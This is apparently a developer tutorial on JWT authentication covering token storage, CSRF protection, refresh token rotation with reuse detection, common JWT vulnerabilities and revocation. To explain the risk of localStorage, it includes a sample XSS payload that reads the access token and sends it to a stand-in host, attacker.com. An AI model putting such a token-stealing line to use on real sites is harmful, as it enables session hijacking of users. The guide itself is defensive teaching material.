正在加载,请稍候…

JWT Authentication Best Practices: Storage, Refresh Tokens, and Common Mistakes

Complete guide to JWT authentication: secure storage options (httpOnly cookies vs localStorage), refresh token rotation, token revocation, common vulnerabilities, and production patterns.

The JWT Debate Is About Context

"Should I store JWTs in localStorage or httpOnly cookies?" is one of the most debated questions in web security. The frustrating answer: it depends on your threat model, and both choices have real tradeoffs.

This guide doesn't just give you the "right answer" — it explains the actual security implications so you can make an informed decision for your specific application.

JWT Structure Refresher

A JWT has three base64url-encoded parts separated by dots:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.     ← Header
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MDAwMDAwMDAsImV4cCI6MTcwMDAwMzYwMH0.  ← Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  ← Signature

Decoded payload:

{
  "sub": "1234567890",
  "name": "Alice",
  "role": "user",
  "iat": 1700000000,
  "exp": 1700003600
}

Key properties:

  • Self-contained: the server doesn't need to query a database to verify a JWT
  • Not encrypted by default: the payload is base64url-encoded, not encrypted (use JWE if you need encryption)
  • Stateless: enables horizontal scaling without session stores
  • Cannot be invalidated before expiry (unless you add a denylist)

Token Storage: The Real Tradeoffs

localStorage / sessionStorage

// Storing JWT in localStorage
localStorage.setItem('accessToken', jwt)

// Sending in requests
fetch('/api/data', {
  headers: { Authorization: `Bearer ${localStorage.getItem('accessToken')}` }
})

Vulnerability: XSS attacks can read localStorage. Any injected script can steal the token:

// What an attacker's XSS payload does:
const token = localStorage.getItem('accessToken')
fetch('https://attacker.com/steal?t=' + token)

When it's acceptable:

  • You have very strong XSS prevention (strict CSP, no user-generated HTML, no third-party scripts)
  • The token's value is low (accessing non-sensitive public data)
  • You're building a native mobile app (no XSS risk, localStorage equivalent is fine)

httpOnly Cookies

// Server sets httpOnly cookie — JavaScript cannot access this
res.cookie('accessToken', jwt, {
  httpOnly: true,     // ← JavaScript cannot read this
  secure: true,       // ← HTTPS only
  sameSite: 'strict', // ← CSRF protection
  maxAge: 15 * 60 * 1000, // 15 minutes
  path: '/api',       // Only sent for /api/* requests
})

Advantages: XSS cannot steal the token (JavaScript can't read httpOnly cookies)

Vulnerability: CSRF attacks. The cookie is automatically sent with cross-site requests.

CSRF mitigation for httpOnly cookies:

  • Use SameSite=Strict or SameSite=Lax (covers most CSRF scenarios)
  • For the remaining gaps, add CSRF tokens
// Double-submit cookie pattern for CSRF protection:
// 1. Set a second non-httpOnly CSRF cookie
res.cookie('csrfToken', csrfValue, {
  httpOnly: false, // JavaScript CAN read this
  secure: true,
  sameSite: 'strict',
})

// 2. Client sends it as a header too
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': getCookie('csrfToken') },
  credentials: 'include', // Send cookies
})

// 3. Server validates both match
if (req.cookies.csrfToken !== req.headers['x-csrf-token']) {
  return res.status(403).json({ error: 'CSRF validation failed' })
}

Recommendation for most applications: httpOnly cookies + SameSite=Strict.

Access + Refresh Token Pattern

Short-lived access tokens + long-lived refresh tokens is the industry standard for session management:

Access Token:  15 minutes lifespan → used for API calls
Refresh Token: 30 days lifespan    → used only to get new access tokens
// Login: issue both tokens
app.post('/auth/login', async (req, res) => {
  const { email, password } = req.body
  const user = await authenticateUser(email, password)
  
  if (!user) return res.status(401).json({ error: 'Invalid credentials' })
  
  const accessToken = generateAccessToken(user)    // 15min JWT
  const refreshToken = generateRefreshToken(user)  // 30 days, opaque token
  
  // Store refresh token in database (for rotation/revocation)
  await db.refreshTokens.create({
    token: hashToken(refreshToken), // Store hash, not plaintext
    userId: user.id,
    expiresAt: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000),
    family: generateTokenFamily(), // For detecting token reuse
  })
  
  // Access token in memory (JavaScript) or httpOnly cookie
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 30 * 24 * 60 * 60 * 1000,
    path: '/auth/refresh', // Only sent to refresh endpoint
  })
  
  res.json({ accessToken, user: { id: user.id, name: user.name } })
})

Refresh Token Rotation

// /auth/refresh — get a new access token
app.post('/auth/refresh', async (req, res) => {
  const refreshToken = req.cookies.refreshToken
  if (!refreshToken) return res.status(401).json({ error: 'No refresh token' })
  
  // Verify the token is in our database
  const storedToken = await db.refreshTokens.findByHash(hashToken(refreshToken))
  
  if (!storedToken || storedToken.expiresAt < new Date()) {
    // Invalid or expired — clear cookie
    res.clearCookie('refreshToken')
    return res.status(401).json({ error: 'Invalid refresh token' })
  }
  
  // CRITICAL: Check for token reuse (possible theft detected)
  if (storedToken.used) {
    // Someone is using a previously-used refresh token!
    // This means either:
    // 1. Attacker stole the old token and used it after rotation
    // 2. Network retry (less concerning)
    
    // Invalidate entire token family (log out all sessions for this user)
    await db.refreshTokens.revokeFamily(storedToken.family)
    res.clearCookie('refreshToken')
    return res.status(401).json({ error: 'Token reuse detected. Please log in again.' })
  }
  
  // Mark old token as used
  await db.refreshTokens.markUsed(storedToken.id)
  
  // Issue new tokens (rotation)
  const user = await db.users.findById(storedToken.userId)
  const newAccessToken = generateAccessToken(user)
  const newRefreshToken = generateRefreshToken(user)
  
  await db.refreshTokens.create({
    token: hashToken(newRefreshToken),
    userId: user.id,
    family: storedToken.family, // Same family as old token
    expiresAt: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000),
  })
  
  res.cookie('refreshToken', newRefreshToken, {
    httpOnly: true, secure: true, sameSite: 'strict',
    path: '/auth/refresh',
    maxAge: 30 * 24 * 60 * 60 * 1000,
  })
  
  res.json({ accessToken: newAccessToken })
})

Silent Token Refresh on the Frontend

// Axios interceptor for automatic token refresh
import axios from 'axios'

let isRefreshing = false
let refreshSubscribers: ((token: string) => void)[] = []

const api = axios.create({ baseURL: '/api' })

api.interceptors.response.use(
  (response) => response,
  async (error) => {
    const originalRequest = error.config
    
    if (error.response?.status === 401 && !originalRequest._retry) {
      if (isRefreshing) {
        // Already refreshing — wait for new token
        return new Promise((resolve) => {
          refreshSubscribers.push((token) => {
            originalRequest.headers.Authorization = `Bearer ${token}`
            resolve(api(originalRequest))
          })
        })
      }
      
      originalRequest._retry = true
      isRefreshing = true
      
      try {
        const { data } = await axios.post('/auth/refresh', {}, { withCredentials: true })
        const newToken = data.accessToken
        
        // Notify queued requests
        refreshSubscribers.forEach(cb => cb(newToken))
        refreshSubscribers = []
        
        originalRequest.headers.Authorization = `Bearer ${newToken}`
        return api(originalRequest)
      } catch {
        // Refresh failed — redirect to login
        window.location.href = '/login'
        return Promise.reject(error)
      } finally {
        isRefreshing = false
      }
    }
    
    return Promise.reject(error)
  }
)

Common JWT Vulnerabilities

1. None algorithm attack:

// Vulnerable server:
const decoded = jwt.decode(token, { algorithms: ['HS256', 'none'] })
// Attacker sends token with header: { "alg": "none" } — no signature verification!

// Fix: Always specify exactly which algorithms to accept:
jwt.verify(token, secret, { algorithms: ['HS256'] })

2. Symmetric vs asymmetric confusion:

// If server uses RS256 (RSA), public key is known
// Attacker tricks vulnerable server into using HS256 with public key as secret

// Fix: Explicitly specify algorithm:
jwt.verify(token, publicKey, { algorithms: ['RS256'] }) // Never 'HS256' for RSA

3. Weak secrets:

// ❌ Weak secret — brute-forceable offline
const secret = 'secret'

// ✅ Cryptographically random, ≥32 bytes
import crypto from 'crypto'
const secret = process.env.JWT_SECRET // Must be: crypto.randomBytes(32).toString('hex')
// Generate once: node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"

4. Missing expiration:

// ❌ No expiration — valid forever
jwt.sign({ userId: 1 }, secret)

// ✅ Always set expiration
jwt.sign({ userId: 1 }, secret, { expiresIn: '15m' })

5. Sensitive data in payload:

// ❌ Never put sensitive data in JWT — it's base64-encoded, not encrypted
jwt.sign({ 
  userId: 1, 
  password: 'hashed', // Don't include
  creditCard: '4111...', // Never!
  ssn: '123-45-6789', // Absolutely not
}, secret)

// ✅ Only include what's needed for authorization
jwt.sign({ 
  sub: '1234567890',
  role: 'user',
  iat: Math.floor(Date.now() / 1000),
}, secret, { expiresIn: '15m' })

Logout and Token Revocation

JWTs can't be "deleted" — they're valid until they expire. Solutions:

// 1. Short-lived access tokens (15 min) — expire naturally
// Just clear the refresh token on logout

// 2. Token denylist for immediate revocation
const redis = createClient()

// On logout:
app.post('/auth/logout', authenticate, async (req, res) => {
  const token = extractToken(req.headers.authorization)
  const decoded = jwt.decode(token) as JwtPayload
  
  // Add token ID to denylist until its natural expiry
  const ttl = decoded.exp! - Math.floor(Date.now() / 1000)
  await redis.setEx(`revoked:${decoded.jti}`, ttl, '1')
  
  // Clear refresh token
  res.clearCookie('refreshToken')
  res.json({ message: 'Logged out' })
})

// In auth middleware:
async function verifyToken(token: string) {
  const decoded = jwt.verify(token, secret) as JwtPayload
  
  // Check denylist
  const isRevoked = await redis.exists(`revoked:${decoded.jti}`)
  if (isRevoked) throw new Error('Token revoked')
  
  return decoded
}

The access + refresh token pattern with httpOnly cookies and refresh token rotation covers 95% of production use cases securely. For the remaining 5% (native apps, complex multi-tenant scenarios), understand the tradeoffs and implement accordingly.

→ Decode and inspect JWT tokens with the JWT Parser tool.